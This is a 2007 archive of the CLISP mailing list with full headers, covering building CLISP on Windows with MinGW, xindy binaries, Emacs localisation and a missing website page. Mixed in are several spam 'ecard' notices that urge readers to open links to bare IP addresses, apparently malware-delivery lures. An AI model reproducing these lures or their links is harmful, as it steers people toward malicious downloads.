3394684573 (13 56 6 29 7 2007)) CORRECT: (T T) CLISP : (((#1=#P"C:\\xindy\\clisp-2.41.tar\\clisp-2.41\\src\\tests\\foo.bar" #1# (13 56 9 29 7 2007) 52) 3394684573 (13 56 6 29 7 2007)) T) 3: The xindy compilation instructions says that I should get lisp.run and lispinit.mem as the actual xindy program. I only see lispinit.mem in my compiled clisp. I guess it is because lisp.run is named lisp.exe on windows. Am I right? tia, -- Brian (remove the sport for mail) http://www.et.web.mek.dtu.dk/Staff/be/be.html http://www.rugbyklubben-speed.dk From lisp-clisp-list@m.gmane.org Sun Jul 29 07:48:30 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IFA4M-0007xH-Cg for clisp-list@lists.sourceforge.net; Sun, 29 Jul 2007 07:48:30 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IFA4I-0002UK-JR for clisp-list@lists.sourceforge.net; Sun, 29 Jul 2007 07:48:30 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1IFA49-0004dK-Eb for clisp-list@lists.sourceforge.net; Sun, 29 Jul 2007 16:48:17 +0200 Received: from 0x57317b04.naenxx8.adsl-dhcp.tele.dk ([87.49.123.4]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 29 Jul 2007 16:48:17 +0200 Received: from be by 0x57317b04.naenxx8.adsl-dhcp.tele.dk with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 29 Jul 2007 16:48:17 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Brian Elmegaard Date: Sun, 29 Jul 2007 13:48:03 -0100 Organization: MEK, DTU Lines: 24 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 0x57317b04.naenxx8.adsl-dhcp.tele.dk User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.92 (windows-nt) Cancel-Lock: sha1:GZsJVZk59aTurKTsJai73c+2gg8= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Compiling clisp on win32 with mingw X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jul 2007 14:48:30 -0000 Brian Elmegaard writes: > I only see lispinit.mem in my compiled clisp. I guess it is because > lisp.run is named lisp.exe on windows. Am I right? This was easy. I am right. I have lisp.exe and lispinit.mem. According to the instructions on xindy installation I now should cp clisp-2.33.2/src/full/lisp.run binaries/xindy.run cp clisp-2.33.2/src/full/lispinit.mem binaries/base.mem When I try to run the lisp.exe renamed to xindy.exe I get: $ .\xindy module 'syscalls' requires package OS. Do I need to move something to make a renamed lisp.exe find the modules that have been included during compile? I can make the lisp.exe in the original location run. Regards, -- Brian (remove the sport for mail) http://www.et.web.mek.dtu.dk/Staff/be/be.html http://www.rugbyklubben-speed.dk From jdunrue@gmail.com Sun Jul 29 08:57:10 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IFB8j-0001sB-SL for clisp-list@lists.sourceforge.net; Sun, 29 Jul 2007 08:57:06 -0700 Received: from an-out-0708.google.com ([209.85.132.246]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IFB8g-0003XK-Hi for clisp-list@lists.sourceforge.net; Sun, 29 Jul 2007 08:57:04 -0700 Received: by an-out-0708.google.com with SMTP id b38so253519ana for ; Sun, 29 Jul 2007 08:57:01 -0700 (PDT) Received: by 10.100.138.2 with SMTP id l2mr4148301and.1185724620996; Sun, 29 Jul 2007 08:57:00 -0700 (PDT) Received: by 10.100.121.9 with HTTP; Sun, 29 Jul 2007 08:57:00 -0700 (PDT) Message-ID: Date: Sun, 29 Jul 2007 09:57:00 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] Compiling clisp on win32 with mingw X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jul 2007 15:57:10 -0000 On 7/29/07, Brian Elmegaard wrote: > > [...] > > When I try to run the lisp.exe renamed to xindy.exe I get: > $ .\xindy > module 'syscalls' requires package OS. > > Do I need to move something to make a renamed lisp.exe find the > modules that have been included during compile? There are several command-line args that you need to pass: -B lisp-lib-dir -K linking-set -M mem-file See http://www.podval.org/~sds/clisp/impnotes/clisp.html for more information. >From your previous email: > I tried 2.33 and 2.38 (with the instructions on > http://www.frank-buss.de/lisp/clisp.html) with no luck, but after > taking the most recent win32.lisp and calls.c on cvs I am able to > compile 2.41. You could also compile the latest from CVS in its entirety, just so that you have all the fixes and enhancements checked in since 2.41 was released. > 1: makemake output has several lines looking like: > ./makemake: [: argument expected > which I had to remove to make. I have seen those warnings but in my experience they don't result in build failure. It's not high enough priority for me to spend time investigating right now. > 2: make check gives me an error. It gives me streams.erg: > [snip snip] That particular test failure was reported and fixed in December 2005, see http://article.gmane.org/gmane.lisp.clisp.devel/15067 whereas 2.41 was released in October 2006. Now, my memory may be faulty, but I don't recall seeing that test failure when compiling 2.41 with MinGW. Since you've apparently tried to build at least one other prior release from source, I'd recommend double-checking that you really are building 2.41 source. Or as I said above, build the latest from CVS. -- Jack Unrue From jjtpn@epcoetc.com Sun Jul 29 10:03:23 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IFCAt-0000fF-Pp for clisp-list@lists.sourceforge.net; Sun, 29 Jul 2007 10:03:23 -0700 Received: from 70-59-206-88.clsp.qwest.net ([70.59.206.88]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IFCAq-0000QJ-UD for clisp-list@lists.sourceforge.net; Sun, 29 Jul 2007 10:03:23 -0700 Received: from njrv.degtn ([207.97.153.106]) by 70-59-206-88.clsp.qwest.net with Microsoft SMTPSVC(6.0.3790.0); Sun, 29 Jul 2007 11:03:12 -0600 Message-ID: <002e01c7d202$591b08e0$6a9961cf@njrv.degtn> From: "VintagePostcards.Com" To: Date: Sun, 29 Jul 2007 11:03:12 -0600 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.8 HELO_DYNAMIC_IPADDR2 Relay HELO'd using suspicious hostname (IP addr 2) 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [70.59.206.88 listed in dnsbl.sorbs.net] 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [70.59.206.88 listed in combined.njabl.org] Subject: [clisp-list] You've received an ecard from a Neighbour! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Jul 2007 17:03:23 -0000 Hi. Neighbour has sent you an ecard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://71.225.158.255/?e117868911e6c36a4bc955099675c5 Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Mailer-Daemon, VintagePostcards.Com From gtn@teatermuseet.dk Mon Jul 30 10:03:42 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IFYef-0006tM-M1 for clisp-list@lists.sourceforge.net; Mon, 30 Jul 2007 10:03:41 -0700 Received: from [85.99.85.193] (helo=dsl.dynamic859985193.ttnet.net.tr) by mail.sourceforge.net with smtp (Exim 4.44) id 1IFYeb-0007OI-Uh for clisp-list@lists.sourceforge.net; Mon, 30 Jul 2007 10:03:36 -0700 Received: from dsiz.npe ([148.25.197.58]) by dsl.dynamic859985193.ttnet.net.tr with Microsoft SMTPSVC(5.0.2195.6713); Mon, 30 Jul 2007 20:03:07 +0300 Message-ID: <002f01c7d2cb$806c8c60$3ac51994@dsiz.npe> From: "2000Greetings.Com" To: Date: Mon, 30 Jul 2007 20:03:07 +0300 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2578 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2578 X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [85.99.85.193 listed in dnsbl.sorbs.net] 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [85.99.85.193 listed in combined.njabl.org] Subject: [clisp-list] You've received an ecard from a Mate! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 30 Jul 2007 17:03:42 -0000 Hi. Mate has sent you an ecard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://88.77.73.188/?ca036e47840d8e117868911 Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Mail Delivery System, 2000Greetings.Com From fusion@mx6.tiki.ne.jp Thu Aug 02 20:39:02 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IGo0E-0003Sc-Bc; Thu, 02 Aug 2007 20:39:02 -0700 Received: from smtp9.tiki.ne.jp ([218.40.30.106]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IGo0D-00015B-Ej; Thu, 02 Aug 2007 20:39:02 -0700 Received: from [192.168.11.4] (pl277.nas933.takamatsu.nttpc.ne.jp [210.136.183.21]) (authenticated bits=0) by smtp9.tiki.ne.jp (8.13.8/8.13.8) with ESMTP id l733ch3d027745 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Fri, 3 Aug 2007 12:38:44 +0900 (JST) (envelope-from fusion@mx6.tiki.ne.jp) Mime-Version: 1.0 (Apple Message framework v752.3) Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: quoted-printable From: Jean-Christophe Helary Date: Fri, 3 Aug 2007 12:38:42 +0900 To: clisp-list@lists.sourceforge.net, Tending the Lisp Garden X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Development of Aquamacs Emacs , SmartList , Emacs on Mac OS X , Translate Development , translation-i18n@lists.sourceforge.net Subject: [clisp-list] emacs localisation framework... any taker ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 03 Aug 2007 03:39:02 -0000 On 3 ao=FBt 07, at 08:43, Richard Stallman wrote: > Let's focus on the basic job: implementing doc string translation > for help commands. > > After that is working, those who are interested can try to make > Emacs Lisp mode display the translated doc strings. I think it won't > work well, but if you think I'm wrong, feel free to prove it. > > However, we should not let discussion of future steps distract us > from the first step. Would someone like to try implementing > translation of doc strings for help commands? A discussion started on the topic of emacs l10n a few days ago on =20 emacs-devel and reached the above conclusion. http://lists.gnu.org/archive/html/emacs-devel/2007-07/threads.html A similar (but shorter) discussion took place in 2001 but nothing =20 happened because there were basically no takers to write the =20 necessary code. My understanding (...) is that the task involves elisp coding as well =20= as C coding (for the emacs/gettext combination part). Emacs lovers all over the world... Any taker ? Jean-Christophe Helary (sadly not a coder, but willing to test and to contribute to the =20 localization of the beast to French when the necessary code is laid =20 down)= From ttdrl@debeegilchrist.com Fri Aug 03 03:15:53 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IGuCG-00074X-Rl for clisp-list@lists.sourceforge.net; Fri, 03 Aug 2007 03:15:52 -0700 Received: from 86-42-96-200.b-ras1.blp.dublin.eircom.net ([86.42.96.200]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IGuCE-0007pc-T2 for clisp-list@lists.sourceforge.net; Fri, 03 Aug 2007 03:15:52 -0700 Received: from nize.ft ([58.30.104.91]) by 86-42-96-200.b-ras1.blp.dublin.eircom.net with Microsoft SMTPSVC(5.0.2195.5329); Fri, 3 Aug 2007 11:15:32 +0100 Message-ID: <000301c7d5b7$39c91780$5b681e3a@nize.ft> From: "postcard.com" To: Date: Fri, 3 Aug 2007 11:15:32 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2578 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2578 X-Spam-Score: 1.4 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.8 HELO_DYNAMIC_IPADDR2 Relay HELO'd using suspicious hostname (IP addr 2) 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.5 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [86.42.96.200 listed in combined.njabl.org] Subject: [clisp-list] You've received a greeting ecard from a Class-mate! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 03 Aug 2007 10:15:53 -0000 Hi. Class-mate has sent you a greeting ecard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://202.86.145.248/?64d82c3a9ebeed435601e5ee713076a3db5733 Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Administrator, postcard.com From htt@spie.org Sat Aug 04 18:19:12 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IHUm0-0006FL-H4 for clisp-list@lists.sourceforge.net; Sat, 04 Aug 2007 18:19:12 -0700 Received: from nat249.skomur.pl ([91.189.0.249]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IHUly-0000Ao-HY for clisp-list@lists.sourceforge.net; Sat, 04 Aug 2007 18:19:12 -0700 Received: from wpfi.ej ([145.208.152.179]) by nat249.skomur.pl with Microsoft SMTPSVC(6.0.3790.211); Sun, 5 Aug 2007 03:18:33 +0200 Message-ID: <001801c7d6fe$8a7acf50$b398d091@wpfi.ej> From: "mypostcards.com" To: Date: Sun, 5 Aug 2007 03:18:33 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2499 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2499 X-Spam-Score: -2.7 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received a greeting ecard from a Neighbour! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 05 Aug 2007 01:19:12 -0000 Hi. Neighbour has sent you a greeting ecard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://67.174.253.27/?76a3db573383e1a7a85955ab65e8517a Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Postmaster, mypostcards.com From ebr@cinci.rr.com Mon Aug 06 06:48:52 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1II2wy-0002wT-MS for clisp-list@lists.sourceforge.net; Mon, 06 Aug 2007 06:48:49 -0700 Received: from [122.164.43.154] (helo=ABTS-TN-dynamic-154.43.164.122.airtelbroadband.in) by mail.sourceforge.net with smtp (Exim 4.44) id 1II2ww-0008PK-5N for clisp-list@lists.sourceforge.net; Mon, 06 Aug 2007 06:48:47 -0700 Received: from dwh.zzb ([197.165.97.95]) by ABTS-TN-dynamic-154.43.164.122.airtelbroadband.in with Microsoft SMTPSVC(6.0.3790.1830); Mon, 6 Aug 2007 19:18:23 +0530 Message-ID: <003001c7d830$7503ed90$5f61a5c5@dwh.zzb> From: "bluemountain.com" To: Date: Mon, 6 Aug 2007 19:18:23 +0530 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Spam-Score: -2.7 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received an ecard from a Colleague! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 06 Aug 2007 13:48:52 -0000 Hi. Colleague has sent you an ecard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://67.8.218.170/?e34774c208e6c33d5eb0269ad4eac804814655d Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Mail Delivery System, bluemountain.com From duhv@meridianone.com Tue Aug 07 12:34:02 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IIUob-0001jj-OQ for clisp-list@lists.sourceforge.net; Tue, 07 Aug 2007 12:34:01 -0700 Received: from [122.164.147.6] (helo=ABTS-TN-dynamic-006.147.164.122.airtelbroadband.in) by mail.sourceforge.net with smtp (Exim 4.44) id 1IIUoZ-0004AT-Lh for clisp-list@lists.sourceforge.net; Tue, 07 Aug 2007 12:34:01 -0700 Received: from wpbsc.bpsbt ([198.168.164.60]) by ABTS-TN-dynamic-006.147.164.122.airtelbroadband.in with Microsoft SMTPSVC(5.0.2195.6713); Wed, 8 Aug 2007 01:03:45 +0530 Message-ID: <003001c7d929$ded5f980$3ca4a8c6@wpbsc.bpsbt> From: "AmericanGreetings.Com" To: Date: Wed, 8 Aug 2007 01:03:45 +0530 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2499 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2499 X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received a greeting ecard from a Friend! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 07 Aug 2007 19:34:02 -0000 Hi. Friend has sent you a greeting ecard. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://76.114.200.244/?8911e6c36a4bc955099675c500 Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Administrator, AmericanGreetings.Com From lisp-clisp-list@m.gmane.org Tue Aug 07 23:10:58 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IIekz-000113-E4 for clisp-list@lists.sourceforge.net; Tue, 07 Aug 2007 23:10:58 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IIeku-0000Y9-Ik for clisp-list@lists.sourceforge.net; Tue, 07 Aug 2007 23:10:55 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1IIekl-0008GJ-LT for clisp-list@lists.sourceforge.net; Wed, 08 Aug 2007 08:10:43 +0200 Received: from dhcp8024.mek.dtu.dk ([130.226.18.24]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 08 Aug 2007 08:10:43 +0200 Received: from be by dhcp8024.mek.dtu.dk with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 08 Aug 2007 08:10:43 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Brian Elmegaard Date: Wed, 08 Aug 2007 05:10:27 -0100 Organization: MEK, DTU Lines: 15 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dhcp8024.mek.dtu.dk User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.92 (windows-nt) Cancel-Lock: sha1:aD31xoGOBaJpIr7U23zHiCwnQ2c= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Compiling clisp on win32 with mingw X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Aug 2007 06:10:58 -0000 "Jack Unrue" writes: > build at least one other prior release from source, I'd recommend > double-checking that you really are building 2.41 source. I am pretty sure aout that. > Or as I said above, build the latest from CVS. How do I get it? It is not clear for me from the sourceforge cvs page. -- Brian (remove the sport for mail) http://www.et.web.mek.dtu.dk/Staff/be/be.html http://www.rugbyklubben-speed.dk From hre@hawaii.rr.com Wed Aug 08 13:11:08 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IIrs4-0003TU-4p for clisp-list@lists.sourceforge.net; Wed, 08 Aug 2007 13:11:08 -0700 Received: from [122.167.94.83] (helo=ABTS-KK-Dynamic-083.94.167.122.airtelbroadband.in) by mail.sourceforge.net with smtp (Exim 4.44) id 1IIrs1-0004gv-4V for clisp-list@lists.sourceforge.net; Wed, 08 Aug 2007 13:11:08 -0700 Received: from liz.xhp ([141.119.217.137]) by ABTS-KK-Dynamic-083.94.167.122.airtelbroadband.in with Microsoft SMTPSVC(6.0.3790.211); Thu, 9 Aug 2007 01:40:55 +0530 Message-ID: <000501c7d9f8$3a06cef0$89d9778d@liz.xhp> From: "Postcard.com" To: Date: Thu, 9 Aug 2007 01:40:55 +0530 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] You've received a greeting card from a Neighbour! X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 08 Aug 2007 20:11:08 -0000 Hi. Neighbour has sent you a greeting card. See your card as often as you wish during the next 15 days. SEEING YOUR CARD If your email software creates links to Web pages, click on your card's direct www address below while you are connected to the Internet: http://12.206.137.88/?4655dc21c83715e8517a Or copy and paste it into your browser's "Location" box (where Internet addresses go). We hope you enjoy your awesome card. Wishing you the best, Postmaster, Postcard.com From jdunrue@gmail.com Wed Aug 08 17:05:34 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IIvWw-000481-LW for clisp-list@lists.sourceforge.net; Wed, 08 Aug 2007 17:05:34 -0700 Received: from an-out-0708.google.com ([209.85.132.249]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IIvWv-0001EK-9y for clisp-list@lists.sourceforge.net; Wed, 08 Aug 2007 17:05:34 -0700 Received: by an-out-0708.google.com with SMTP id b38so63569ana for ; Wed, 08 Aug 2007 17:05:32 -0700 (PDT) Received: by 10.100.3.20 with SMTP id 20mr1711051anc.1186617932604; Wed, 08 Aug 2007 17:05:32 -0700 (PDT) Received: by 10.100.95.15 with HTTP; Wed, 8 Aug 2007 17:05:32 -0700 (PDT) Message-ID: Date: Wed, 8 Aug 2007 18:05:32 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] clisp.cons.org index.html is MIA X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 09 Aug 2007 00:05:34 -0000 Are the powers in charge of clisp.cons.org aware that attempts to get index.html are currently resulting in a 404? -- Jack Unrue From jdunrue@gmail.com Wed Aug 08 18:29:16 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IIwpp-000454-SD for clisp-list@lists.sourceforge.net; Wed, 08 Aug 2007 18:29:12 -0700 